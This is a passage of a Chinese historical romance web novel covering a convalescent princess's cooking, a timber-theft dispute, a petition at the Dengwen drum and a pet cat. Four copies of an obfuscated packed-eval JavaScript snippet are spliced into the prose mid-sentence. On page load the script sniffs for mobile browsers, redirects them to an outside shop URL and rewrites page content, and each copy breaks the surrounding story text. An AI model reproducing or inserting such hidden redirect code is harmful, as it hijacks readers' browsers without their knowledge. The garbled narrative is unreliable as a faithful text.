“以我的年纪与资历，万万做不了皇子老师，陛下何尝不是提前给崔家脸面？臣下不敢揣测圣心，想来也快了。来日成婚，宫里自会拨给郡主忠心可靠的奴，我打算先把府里偷奸耍滑的打发出去，免得来日与宫中来的教养嬷嬷冲撞了，让御史觉着崔家家风不正，御下不严。二来，各家蓄奴都有定数，实在不能越了规制，不得不早做打算。” 崔明端说的，自然让人无法反驳。等他走后，几位族老也商议着，“荀家娶平阳柴氏的女儿，都院子里的人都打发了。六郎此举很是妥当，那些御史就爱揪着些鸡毛蒜皮的事。他们虽不是萧家的人，但能让崔家不痛快的事，人人都乐意做。” “正是这个理，六郎行事稳重，我等也放心了。” “郡主不像传言中只会舞刀弄枪，与六郎倒也般配。” 最后这句，是崔明端又送了份点心，来自梅花坞的点心。 ——脆琅玕与梅花汤饼。 梅花汤饼，倒是不难做，只是送来更费功夫，崔家族老虽不如荀二郎那般热衷美食，但世家子更爱风雅之物。 而另一道，脆琅玕，是凉拌菜，贵在食材难得。 连清河崔氏都没有的东西，她有，可见天子恩宠。 族老们只是年纪大了，并不昏聩，自然懂崔明端的意思。 * 梅花坞有满山的梅花，大风一起，尽得梅花清香。 萧鸣笙如在仙境，越发专心练箭，阿草闲不住，去折了梅花回来给郡主玩。 阿草雨露均沾，红梅和绿梅都有，一红一绿摆着，难免想起那只阴阳脸的猫猫潦草。 不用来逗猫，真是可惜了。 猫不在，也可惜了。不过无事，猫不来，她可以让逗猫棒走过去。 袁志拿了主子画的梅花图在刻个模子，卢妈妈在揉面，阿草在择菜。萧鸣笙则是拿个剪子，将梅花一朵一朵剪下来，与檀香粉末泡出香水来揉面。 今日，萧家又有个不合时节的好东西——莴苣。 司汤监连夏日的胡瓜都能培育出来，春日的莴苣自然不在话下。 饶是萧鸣笙是现代人，看到鲜嫩的反季节蔬菜都惊讶不已。 福公公是一脸谄媚的笑，“这莴苣难得，养了好些日子，份量不多。除了御膳房，郡主这儿是头一份。” 但愿福公公没说客套话。头一份的恩宠，她附庸风雅，做一道文人都爱的美食。 莴苣去叶，削皮，切一寸大小，在沸腾的水里汆烫三十个数，捞出入冰水。捣出姜汁，取适量盐、糖、醋，再浇入热油，搅拌腌渍片刻，甘香脆嫩。[1] 这就是脆琅玕。琅玕，本是指似玉的石头，又是翠竹的代称。 这一寸长的莴苣，碧绿莹润，遑论口感，光是在冰天雪地里一看，清新养目，春日似在眼前。 阿草吃不来这样精细的菜，尝了一口，评价道：“和那个腌萝卜，是一样脆脆的。不过……” 接下来的话，叫卢妈妈咳嗽拦下了。 她更喜欢那几个莴苣团子，是用莴苣叶子做的。切碎，加入糯米粉团中，做成菜团子，在油锅里小火慢煎到两面微微金黄，便可出锅。 萧鸣笙加了少许的盐调味，更多的是，莴苣叶子的清香。 阿草喜欢这个的原因也简单——有糯米粉，也有菜，又有油，管饱。 萧鸣笙看她两口一个吃得香，自己也多吃了个，托腮与案几的梅花无言对望： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202831|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知潦草吃不吃。 送去的菜团子，拢共也就六个。崔明端没舍得分一个给潦草。 偏阿藤今日没眼力见，如实道：“袁侍卫说，那道脆琅玕给大人尝尝鲜，这道菜团子给潦草……” 余下的话，不用他说，大人一个眼风便叫人闭了嘴，赶忙改口道：“想来猫儿不吃菜团子，奴才去后厨煮锅鱼汤来。” 郡主除了送菜团子，还有梅花汤饼。猫也吃不了汤饼——还是吃鱼汤吧。 梅花汤饼，倒是不难做，只是送来更费功夫。 脆琅玕是凉拌菜，贵在食材难得。 萧家用了两个温碗，分开装了梅花形状的薄饼，另外一个则是装了热腾腾的鸡汤。 吃的时候，只需将梅花饼倒入鸡汤里，搅拌一番，略略等一会儿。 潦草闻着了香气，甭管吃不吃，总是要走过来嗅一嗅。 崔明端颇是无奈，将它轻轻带离，目光一动，潦草更快走了回来。 “狸奴是吃小鱼的，且等等。这可是我的夕食。” 后一句，像是刻意强调加上去的。 她送的东西，自然是给自己的！ 关于这梅花汤饼，袁志也将主子的话带到了，“主子预备的份量多了些，崔大人与荀大人一同用，也是够的。” 荀二郎已经吃着了她亲手做的鱼丸，这梅花饼，他本想一人独吞，奈何府里出了乱子，他便忍痛将那道脆琅玕和一大半的梅花汤饼送去给族老们。 不急，不急。 给她铺路，更为重要。 崔明端下值耽搁了些时辰，已经不便出城去，风雪欲来，天又阴沉沉的，这会儿，已经点了灯。 潦草歪着脑袋去看灯影晃动，耳朵随着风声一动一动。 崔明端回回得忍了笑，才去夹一朵梅花。 这份梅花汤饼，只有本白一色。 然而，随之一道送来的，有红梅与绿梅。 用梅花与白檀香粉浸泡，取其香水揉面，香气尽在面饼里。 鸡汤清甜，佐得起美味。 崔明端眉结舒展，亦是起了逗弄狸奴的心思，舀了鸡汤在调羹里，哄着吃饱了小鱼的潦草，“你吃么？” “喵……” 方才小气得很，而今它已经饱了。 但潦草赏脸，挺着鼻尖凑近闻了闻，舔食一口。 灯火昏黄，梅香清幽。 崔明端一手支着脑袋，一手举着调羹喂猫，有些醺醺然。 今夜未曾饮酒，倒先醉了。 * 萧家过了两日，终于有个不太安宁的事端冒头了。 要置换的新木，还没来得及砍，已经有人去砍了。 这事，还是包子那位在山中烧炭的叔叔发现的。 包子急匆匆来萧家报信，“姑娘，大哥是去砍树了么？我四叔说，山里突然多了好些人，都挑那些大树去砍，他今天看到的时候，已经是砍到了好大一片了。” 萧鸣笙转头去寻袁志的身影，今日也是怪了，一向是在院子里忙活的人，连阿草也召唤不出来了。 79.登闻鼓 梅花坞山高林密，就是藏了什么山匪，光萧家这几人，老的老，病的病，也不一定知晓。 萧鸣笙一开始的担心，终于是应验了。 包子他们去城里打听的时候，有家铺子的伙计留心多问了一嘴，他们是哪里人，哪来的新木能置换。 听说他们是城郊梅花坞的乡民，那伙计眼珠子一转，同掌柜的一合计，祸根便种下了。 乡民能砍树，他们怎么就砍不得了？ 袁志赶到的时候，他们已经砍倒了一大片，连锯子都断了好几把，正愁没有多带些进山来。 为首的管事还在抱怨这差事晦气，袁志当即是从树上跳下，一把就揪了人衣领。 他孤身一人就能深入大漠，区区山林，再带个蚁辈出来，不在话下。 “回去告诉你们主子，想好了，这事该怎么了结。便是不在意你们的性命，我看看是不是连脸面也不要了……” 那些人正干得热火朝天，哪里想到这变故？ 那管事当即是软了腿脚求饶，“壮士壮士，要钱好说……我们在城里有铺子，只是上山来不曾带银子，这样，你放了我，要多少银子你开口。” 袁志也不开口，径直是撸了人回来。 “主子，人已经是抓回来了，剩下几个小喽啰，这会儿该是赶回城里报信了。” 萧鸣笙见了袁志被树枝刮过的衣衫，再看那人贼眉鼠眼的，更是气笑了。 萧家偏安一隅，任谁都能来偷她东西是吧？ 茶叶被置换，如今连地盘上的林木都敢来偷了。 “我想，京城的铺子不至于不知道梅花坞的山林是谁的。我倒看看是哪位贵人，和萧家交情颇深，能不同我说一声就去砍伐林木……” 那管事倒有心求情，只是来回时，袁志嫌弃他呱噪，已经拿帕子将他嘴堵住了。 手反绑着，正好是绑到靶子那儿去。 包子眼尖，当即便叫起来，“我认得他，他是升来客栈跑堂的。诶……但是……” “是啊，他好好一个开客栈的，偷砍林木做什么？难不成是要拿木头去煮汤吗？” 萧鸣笙讥笑道。 阿草也气得很，“郡主，看我一箭射死他。” 说罢就拿起一侧的弓箭。 那人被捂了嘴，惊恐呜呜叫着。 袁志眼疾手快拦了，“你光射死他也没用。他后头有人呢！” “哼……什么人，我也不怕他，我们就是脾气太好了，所以才被人欺负。” 萧鸣笙也深以为然，原以为上次敲打了内侍省的福公公，事情该是平息了。 没想到天子脚下有的是权势滔天的人，也根本不怕她这个空壳郡主。 “袁志，备马。” “郡主……若不然，等——” 如今天寒地冻，郡主实在不必在这节骨眼进城去。 “不等了。再等，来日我们冤死了，都无人知晓。” 萧鸣笙双手交握，冰凉没一丝温度。猎猎寒风，还在不断汲取为数不多的暖意。 这时代吃人，人也吃人！ * 萧鸣笙让卢妈妈回去将整理好的单子取来。 后者一脸讪讪，也想劝一劝，“郡主……” “我知道，是历年来的赏赐数目不大对，嬷嬷看出来，怕我伤心，才一直没拿给我……” “郡主……” 卢妈妈要跪下去，却被扶了起来，“连你都能看出不对来，也不知是叫人吃了多少。单子拿来，也取些碎银来。” 取来的碎银，是由包子发给了梅花坞的乡亲们。 也不用他们做什么，请包大娘和几个壮汉来萧家守着。 余下的村民，一道跟着进城去。 一听说是有贼，村民是义愤填膺，也不收钱，就要帮着把那人押送到府衙去。 一半的人留守着，一半跟着，没多少踪迹的官道，浩浩荡荡一群人向城里走去。 瞭望台的人早早回禀了异象，消息便四散而去。 崔明端在陵安府里，忙着查验大雪压塌多少房屋，如何赈灾。齐大人赶来时，气是喘不匀的，“崔大人……梅花坞……” “郡主怎么了？”崔明端当即站起，折断了手中狼毫。 齐大人微微摇头，有口难言，“这事，说小也小……” 崔明端当即讥讽道：“我刚调来陵安府不久，不知衙署诸事什么是小，什么是大？请齐大人赐教。” “崔世侄，眼下不是论理之时，要不……你且先去看看？如今是年下，各处正是忙碌时，事情或大或小，是否回禀陛下，请崔大人酌情思量。” “臣受陛下隆恩，自当为陛下分忧。” 外头的马，也备好了，崔明端横眉以对，也顾不得什么，骑上便走，终是在城门处遇到了人。 城门校尉也不敢松懈，接过袁志递来的令牌，草草看了一眼马车，还没跪下，便得了这位西北汉子的冷眼，“郡主出行不欲张扬，请大人自重。” 萧家的马车没有任何标识，然而身后跟着二十来个村民。他也认得，就是梅花坞的山民，这是不欲张扬？ 可怜他只是一个守城门的，本来就是个苦差事，万一再出个什么纰漏，脑袋不保都是寻常事。 “是是是……不知贵人是要去何处？小人给贵人带路。” 一阵急速靠近的马蹄声，拯救了他。 崔家的宝马，英姿飒爽。相较之下，萧家赶车的马儿，都显得平平无奇。 崔明端下马来，瞧袁志罕见黑着脸，也知出了要事。否则她不会进城来。 “臣……” 话未完，马车里传出阿草焦急的声，“郡主，你怎么了？” 这会儿，崔明端再顾不得礼法，掀了帘子进了车厢，但见往日言笑晏晏的人，惨白着面色，痛苦捂着胸口。 “袁志，拿我手令，入宫去请御医来。” 掷出去的，是天子登基时赐给崔明端自由出入宫禁的金牌。 阿草的力道总是控制不太好，已经被崔明端挤开了。 “今日可吃了什么东西？” 崔明端以为是中毒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212409|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人要害她，摸出随身佩着的荷包，手一抖，倒出好一把药丸来，“郡主……” 此时，萧鸣笙早过了气愤的劲，但心头闷重，“大人……” 抬眼之际，眼眸是含了泪的。 ——糊涂了这么久，她终于知晓为何原身进城一次，病就会更加严重！ 她晕车啊！ 官道就是再平整，可马儿哒哒，很是颠簸。一个自幼精于骑射的奇女子，竟然晕马车！ 她不知崔明端手里是什么药，迷迷糊糊吃了两颗后才问了一声，“大人怎么在这儿？” 崔明端将多余的药丸一股脑塞回衣袖里，抱着人，手还是抖的。“臣……受府尹大人的令，前来看看。郡主放心等御医来就是。” 中毒，也不便挪动。 他静静抱着人，来时想过无数场景，“郡主，臣今日便上个折子，择日……” “崔大人——” 没等他将话说完，萧家的马车已经由袁志牵到了旁侧候着。 他握着那块金牌，也没离了主子进宫去。阿草也被他唤了出来，“大哥，崔大人不是说让你进宫去吗？” “萧家不蓄奴，但我袁志的主子是郡主。” 这话，有些弯弯绕绕，阿草不大懂。 不过，眼前一片乱象，不懂也没机会问。 一群人乌泱泱过来，袁志认不出人来。 但城门校尉认得，只是谁也不好得罪，已经悄悄站开了。 来的人，是升来客栈的掌柜，以及众位伙计。 “崔大人，小人有眼无珠……” 刚一开口请罪，怀中的人便冷哼一声。 崔明端预备好的话没说全，又听着她的反应，并不开口，只是低声问道：“那些人去梅花坞生事了？” 萧鸣笙有晕症，原本就难受，可他身上有股橘子味，“倒也不是生事，只是偷了我的东西。” 这下，轻嗤一声的，便是端方君子崔大人了。 “陛下将梅花坞赐予郡主养病，既是刁奴偷盗，陵安府来管。” “或许，臣女之罪，大于小小贼子。” 萧鸣笙也不瞒他，将袖口的几份单子递过去，“我历年来的赏赐单子，一份是内侍省送来的，一份是我那嬷嬷整理的。其中，有许多看不明白的地方，硕鼠硕鼠，我家竟也出了个大老鼠，将陛下万千恩裳啃食殆尽。” 崔明端眸光波动，但见怀中人挣扎着要躲开，“我也知，这些，不归你们陵安府管。臣女去敲登闻鼓就是了。” 历朝来，设立登闻鼓院，为了给含冤受屈的百姓一个申诉的地方。 她乃陛下御封的郡主，若是敲了这登闻鼓，怕是朝野震动。 “唉……” 崔明端将手臂圈紧了——也是前几日抱绪安得来的经验，一时药香气更盛。 “郡主便是要去敲那鼓……” 萧鸣笙原也不是急躁的性子，可对上凡事成竹在胸的崔大人，她都想催一催崔大人，“莫不是今日不是伸冤的黄道吉日？臣女回去再算算，下一回再进城来？” 80.青精饭（上） 怀中女子出声刺了一句。可在崔明端耳中，却如天籁。 “今日……虽不是上上吉日，但诸事也巧了，郡主思虑周全。”大抵也是照顾潦草得来的经验，要顺毛去撸一撸。 她是明眸皓睐的女子，自然不能与狸奴相较。她也有自己的脾性，不是柔顺无骨，一味依附旁人。 “只是……寻常人要敲登闻鼓，自然是想去就去。眼下是冬月，郡主身子不好，不能在鼓院久跪。若郡主信得过臣，让臣将诸事安排好……” 萧鸣笙轻叹，“小女无知，只能像个莽夫一样，头脑发热便去敲那登闻鼓……” “权术、乃至圣心，何人不是在算计着？臣同在泥淖中，也不能免俗。” 崔明端自惭形愧，而后又坚定不移告诉她，“臣若不跟着他们的步伐，甚至是走在前面，哪日被踩在脚下，也未可知。只一样，家父训诫过，镇守边关的武将素来没有这样九曲十八弯的心思，京中手段再脏，也不能用在武将身上。” 他承父亲教诲，自然不会算计她。 近日在做的，只是在铺路，不管是二人成婚之日，亦或是那桩贪腐巨案。 因着车内没人出声应和，升来客栈的掌柜焦急搓着手，脚下的白雪被碾成了污泥。 他算是府里得意的老人了，年节也随主子去过崔家送过礼，听说崔大人赶来，也着急忙慌来了。 “崔大人，小人是郑国公府的，能否请大人下车一叙？” 外头的人又不高不低喊了一句。 崔明端来得急，尚不清楚是何人所犯，这下，倒是不打自招了。 怀中人又是轻嗤一声：“不想还是大人的熟人呢……这下，莫不是大水冲了龙王庙？” 崔明端亦是含了笑，随着本心凑近了，触着她温热的脑袋，打趣道：“崔家在京中多年，满朝文武，何人不识？自圣上登基后，市集不少摊贩都说我是吃他家东西长大的……” “哧哧……” 这下，萧鸣笙不免是被逗乐了，咕哝道：“难怪潦草跟着大人，可见大人很会逗猫。” 全然忘了二人初见时，他刚直肃正模样。 马车里，有暖炉，亦有佳人在侧，崔明端不急。 车外，寒风凛冽，也不敌五内焦灼。 崔家和郑国公府，当真还有一点交情，不过不多。如崔明端所言，京城各大世家论起来，谁家没点交情？ 便如忠勇侯府，在京不过十来年，因着皇子伴读一线，两家不也有了重要牵绊？ 郑国公家旁支的表小姐，嫁给了崔家旁支的表亲。这点姻亲关系，要论，自然是亲热的。 但是，这几年郑国家仗着开国功勋，行事越发张扬。而崔三爷退隐，崔明端下放，崔家似乎荣光不再，两家往来不多。 这会儿论的劳什子交情？ 阿藤在府里，也收到了消息。他自幼跟着崔明端，也是主仆心有灵犀，当即抱了潦草出府，安置在大人名下铺子，吩咐人炖上补汤。 萧家的马车，终是有了动静。 崔明端只撩了帘子一角，轻身下马，请阿草再回去陪着，“去登闻鼓院。” 袁志朝他拱手，再赶着马车。 掌柜几人也愣住了，大呼不好：这登闻鼓，纵是三岁小儿也听过，上到朝中百官，下到四海百姓，谁有冤屈，都能去敲鼓。 由崔明端骑马开道，萧家马车跟随，一路到阙门。 登闻鼓院近年来少有案件，一场大雪将风刮来的脏污都盖了个严严实实，白雪皑皑，洁白无瑕，仿佛人间盛景。 崔明端翻身下马，就踩着没过脚踝的积雪走过去。 一步一步，郑重无比。 他无端想起了幼时被选定为皇子伴读，父亲带他进宫的场景。宫墙巍峨，他在下方望去，仿若蝼蚁。 虽没绪安一样抵触，万一五皇子不能登基，他这伴读的仕途也算是提前走到头了。 父亲却是达观，笑道:“六郎只管走着去，为父在后头看着。” 而今，胡人已退，边境安宁，世代戍边的萧家似乎也走到了绝路。更何况是萧将军不在，留她一人，更是独木难支。 他是清河崔氏儿郎，也是承圣贤书与家训长大的君子。 搁在一侧的鼓槌，被抽出，再重重敲在鼓面之上，登闻鼓声，响彻天地。 十里外的眠山，山鸟俱飞，仿佛也被京城乱象所扰。 登闻鼓院，隶属司谏、正言。二位老大人亲自出来查看何人击鼓。 崔家六郎一身绯衣，立在空旷之地，更显世家威仪。 “陵安少府崔明端，见过二位大人。” “不知……崔大人有何冤屈？” 两位老大人皆是对视一眼：能让崔大人来敲登闻鼓，别是震惊朝野的大案吧？可崔明端在陵安府，府尹与他同是王府里的旧人，不该如此啊！ 崔明端朝二位老大人拱手，“有贼子胆大包天，光天化日之下盗取御赐之物。荣安郡主向陵安府报案，可此案牵涉甚广，非陵安府一家能破。” 他将诉状递去，再回身请人下车来。 老大人此时才发现三丈远停着一辆马车，灰扑扑的棉布，品相普通的马儿，放在京城里，实在是不起眼。 崔明端伸手，扶着人下车。 守孝六年的荣安郡主便这样现于人前，一身暖白的狐裘，与白雪融于一处。 崔明端扶着她，一步一步走到登闻鼓前，她走的路，是方才踩出来的脚印。 萧家无路可走，便由他先行探路。 而他略微弯着腰，重新在厚厚的积雪里再走出一条道来。 多年后，两位大人再忆起此景，并非是崔大人与郡主如何般配。而是萧家女不作装饰，缓步而来，弱质女子竟有睥睨众生、悲悯天下之状。 ——难怪当年司天监推演出西北大祸。即使胡人之乱平定后，天子也没放下对萧家的戒心，将西北老将调往别处，分而化之。 此女天生神力，能一箭摄敌，再有西北军忠心拥护，如前朝倒反天罡，也未可知。 * 登闻鼓院丝毫不敢懈怠，明着只是一桩盗伐林木案，可崔大人又递了两份东西。 一份是吉安送出的密报，是吉安历年了的粮食收成与赋税。 再一份，是司天监收录的各地天时。 六年来，吉安未有大灾，粮食却比从前少了四成，赋税也少了五成之数。 “这些，怕是还要调一调户部的记档……” “登闻鼓院如何办案，下官便不知了。”崔明端将一应物证交了上去，又昂首望着飞舞的雪花，“这样冷的天，想来不用特意将物证另外保存，应该是不怕走水的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233556|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔家六郎当街敲了登闻鼓，荣安郡主也进城来，他们两位是清正之人，没有任何瓜葛，自然没有必要销毁证据。崔明端提醒的，只是要预防小人。 “不过，即便天干物燥，不慎走水也不无事，下官这儿还有不少副本。大人若是需要，只管吩咐人来告诉一声。” “……崔大人慢走。” 崔明端便这样施施然走出了登闻鼓院。 外头，候着的马车已经积攒了一层薄薄的积雪。 与袁志一同站着的，还有阿藤。他倒是一贯讨好的笑，“大人……” 崔明端也不急着上车去了，反而是看了一眼袁志，“袁侍卫，这些年辛苦了。” 也不知是说袁志护卫萧家安危，或是旁的事，袁志也将那枚能自由出入宫禁的金牌还了回去，“大人该仔细收好。” 崔明端笑着接过，掂了掂这块金牌的份量，“御赐之物，确实该仔细着。” 而后，他上了马车。 袁志原想提醒这是郡主的马车，可阿藤搭了他的肩膀，“大人出行，原是由小人来赶车。今日还要仰仗袁大人了。” 阿草也被请了下来，去骑崔明端的马。 这是一匹进贡的汗血宝马，乃天子御赐之物。 萧鸣笙也知大漠儿女，自是喜爱好马的，“崔大人盛情，特意将马儿借给你骑，定是匹性情温驯的宝马，你且慢慢骑就是，不可纵马伤了人。” 于是乎，崔大人的车夫阿藤便在袁志的眼刀下，屁颠屁颠给阿草牵马。 阿藤灵透，来时又从铺子里带了崔明端的手炉来。 此刻，便由萧鸣笙递了过来。 “大人的手炉。” 他着急从衙署出来，连披风也没带，还是齐大人追了出去。崔明端要是病倒了，这烫手的山芋，可是要交到自己手里的？ 崔明端算计了大半日，冷倒是不冷，只是手是凉的，只敢将目光落在纤纤素手上，“凉否？” “大人有忠仆，自然是暖的。”她答的是，手炉。 崔明端弓着身，在她对面坐下，自然也接了那手炉，自然而然说起了一桩旧案，“前几日，吉安府有个案子……” 原身的封地，便是在吉安。 萧鸣笙摩挲着渐冷的手炉，轻声应下。 崔明端忽而起身，从她手里解救出那不断被摩挲的手炉，“臣体热，这手炉略热了……斗胆与郡主换一换。” “啊？” 不等她反应过来，手里塞进了个体型更大些的手炉来。在梅花坞时，她是用过的。 “大人精于算计，对今日事似也在思量中？” “不瞒郡主，确是如此。”崔明端坐回，又将吉安府的事原原本本告知她，“这案子，出的时机巧了些。吉安府的府尹大人，如臣所知，并非是昏聩无能之人。那孩子夭亡，乃是风寒的缘故。另一家失踪的，说来便更巧了，与崔家沾些亲。” 萧鸣笙略一思索，“只是为了使大人关注吉安府诸事，从而帮我查查那些封赏么？” “郡主冰雪聪明，可猜猜这事，是谁做的？” 崔明端正襟危坐，拢着她的手炉，鼻尖有药香萦绕。他微微垂眸，便看到她恍然之色，二人会心一笑。 萧鸣笙不答反问：“大人饱读诗书，又是风雅之人，想来听过青精饭？” 81.青精饭（下） “杜工部曾在《赠李白》一诗中言： 二年客东都，所历厌机巧。 野人对膻腥，蔬食常不饱。 岂无青精饭，使我颜色好。 臣困于官场多年，也只记得这首，不知郡主说的是否就是它？” 萧鸣笙抿抿唇，去看过分好颜色的崔家六郎，不禁喟叹道：“圣贤忧心家国，连东都洛阳盛景，也入不了眼。我在范公子他们那儿听了不少关于道长的事，道长修道，已是大成……” “家父要是听郡主如此吹捧……” “……叫道长。” 萧鸣笙小声咕哝一句，而后便与崔大人同乐。 乐完，又不免忧心。 “道长此番，怕又是要一举显露在众人面前，有违潜心修道的本心了。” “家父之志，不在山寺之中。” …… 而城郊十里外的眠山，云来道长在观里打一套金刚拳拳。 道童过来说可以用饭了。 “今日吃什么？” “青精饭。” “嘶……谁吩咐的？” 道长猛地一收拳势，险些跌倒在地。 道童是一点眼色也没有，如实道：“是观主。观主说，师傅今日胃口不佳，就没让弟子送来。” “哈？那你来喊我作甚？” “观里已经到了饭时……”道童也委屈。 “……” 哼！ 云来道长稍稍理了衣襟，气鼓鼓揣手去饭堂吃饭。饭时，就是要吃饭的！谁说他没胃口的，今日就要吃三大碗青精饭。 青精饭，做来也不麻烦。 乡野随处可见的旱莲草，折断后汁液成青黑色。采摘枝叶，捣出汁液，浸入粳米，一二两个时辰后便可以开始蒸饭。 然而，冬日，白雪覆地，没有旱莲草。 便要在夏季，提前将蒸好的饭曝晒，等米粒坚硬，呈现碧色时储存起来。食用时，先用热水酌量放入碧色米粒，等水开，青精饭便成了。[2] 云来道长去时，饭堂的青精饭已经分完了。 一人一碗，多的——没有多的。 因为今日是观主亲自掌的勺，若是少了，观主不吃便是。 而今日的份量，显然是刚好的。观主也分了一大海碗，正拿了木勺，一勺一勺舀着吃，动作行云流水，便是云来道长坐他面前，连眼皮也没抬过。 “我的饭。” “崔三爷的饭，不在这儿。” “哈？” 这下，云来道长一把将观主的碗夺了过来。 可惜，观主年纪上去了，上手的力道一点也没减少。饭堂里，都是些小辈，云来道长是来吃饭的，又不是来打架的。 “我来吃饭。”碗夺不走，云来道长便要去抢勺子。 观主同样守得紧，可惜抢勺子是假，云来道长手一伸，直接挖了一勺，放嘴里故意吧唧吧唧嚼着，“今日的青精饭，好吃！” “吃了好颜色，崔三爷便下山去吧。” “……哼，我平日吃得也不多，何必赶我走？” “三爷心中比贫道更清楚缘由。也多谢三爷对山寺的庇护。” …… 这下，云来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235046|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道长是真没胃口吃饭了。哼，他讨厌和聪明人说话，还是这种非要摆上桌的聪明人。 还是那孩子讨喜点，只问他吃饭不。 讨喜的孩子，人在内城。 萧鸣笙是第一回出远门，又是晕车，由登闻鼓院回来，又是脸色煞白。 崔明端也不知是何处出了纰漏，怎又旧疾复发了？ 也不顾礼法了，他轻轻给她拍背，又是喟然长叹。 “往后诸事，皆有臣盯着，郡主该宽心养着。” 萧鸣笙胸闷气短，躺也不是，坐也不是，没怎么听崔大人说了何事，反而是焦灼转头，再一把抓了他手臂，来减缓马车的颠簸感。 再找一找话说，“大人今日吃了橘子？” 身上带着股柑橘香，让晕车的烦闷感减轻不少。 若非她面色苍白，崔明端倒还能笑一笑：怎和潦草一般，尽记得吃的？ “上值时，遇着了荀兄，他塞了个橘子给我，一路揣到衙署……郡主，想吃橘子？” 再不明白，他崔明端就是根木头。 萧鸣笙晕车也是要脸面的，她又不是想吃橘子—— “嗯。” “……” 未曾想她心思纯净，当真是想吃橘子。 眼下，似乎也到饭时了，再绕路回衙署取，自然不是上上之策。 “阿藤，” 崔明端往外喊了声，“去升来客栈。” 阿藤应声，又勒着马儿改了道。 萧鸣笙揪着他袖子，再呼出心中浊气，“大人，我只是口淡，才想吃个橘子缓缓，不是想吃人。” 82.碧涧羹 蔊菜，这是分布很广的野菜，田间水边都有。 萧鸣笙知道这菜，仍是面露难色。她上前一步请罪：“臣女久病，竟不晓得梅花坞竟还有这等好物……” 这差，福公公当得也难。 眼下大雪纷飞，梅花坞便是有蔊菜，早被大雪覆盖，荣安郡主去哪里寻？ 这……不是个不能办到的苦差事么？ 崔明端自然也晓得，那日跟着一道回了梅花坞。 未等众人去河边，萧鸣笙劳累了大半日，回程又颠簸了一路。 里头传来阿草的惊呼，郡主已然昏了过去。 这一回，跟着来的，还有郑御医。 袁志当即是快马将车子赶回萧家，再请御医把脉。这也不是萧鸣笙头一回从内城回家病情加重了，萧家几人担心之余，也仿佛是在意料中。 福公公比谁都担心，这——郡主身子不好，是一回事。蔊菜呢？如何复命，他的脑袋可是悬着呐！ 幸好，陛下也未降罪，又是赐了好些药。 今日，萧鸣笙已缓了好些，只是脚仍是软绵绵的，晕车后遗症。 她抱着个橘子，滚着玩，便看到崔大人又迎着风雪来了。 还没起身，如上回一样，一只阴阳脸的猫儿，又从他的袖子里爬了出来，还奶声奶气喵了一声。 “啊？” “潦草，郡主不认得了么？” “认得。” 只是，谁家好人出门还带猫的？崔家六郎是也。 崔明端将潦草放下。不过，这猫懒，案几没铺帕子，它嫌弃冻脚，就要往他身上爬。 这几日，潦草在崔家，白日里跟着阿藤，就是院子里胡闹片刻，再回了屋里酣眠。 纵使阿藤没养过猫，可他长着嘴，几乎是问遍了众人。 都说白日不能由着狸奴睡去，否则夜里便是主人家变成了奴。 大人每日处理公务已然疲累，自然是要好好歇息的。 熬猫的活计，便交由他了。 不出两日的功夫，潦草几乎已经同崔明端一样作息。 阿草也不知是从哪里拿来的一个垫子，“给小草用。” “……” “卢妈妈用我的旧衣做的，是叫小草吧？”阿草不放心看了眼郡主。 “对极，它年纪小，是叫小草。”萧鸣笙笑着，潦草这名听着颇是正式，还是小草顺口。 “小草”不用人招呼，自发对着棉垫嗅了嗅，试探性迈出爪子。 萧鸣笙也是今日才仔细看清了，潦草的手手随了左脸，是黄毛，脚趾迈步一动，俨然是几颗花生。 她看得津津有味，崔明端也坐下，说起了家常来，“御药房的鹿角也送到了。臣去要了两个。” “啊？”萧鸣笙难得从猫猫中分神望着他，“鹿角……” 脑子一时迷糊，随即又马上想起来。对，就是那对很刑的鹿角！ 她下意识看了眼虎口，那颗痣，还在。 上回果然是眼花看错了吗？ 念及她在病中，不想这般有生气，崔明端亦是笑道：“东西已由阿藤送到库房去了……” 萧鸣笙颔首谢过：崔大人，要是此刻放你和潦草在这儿吃风，我去看看鹿角，不知道过分不？ “臣——” 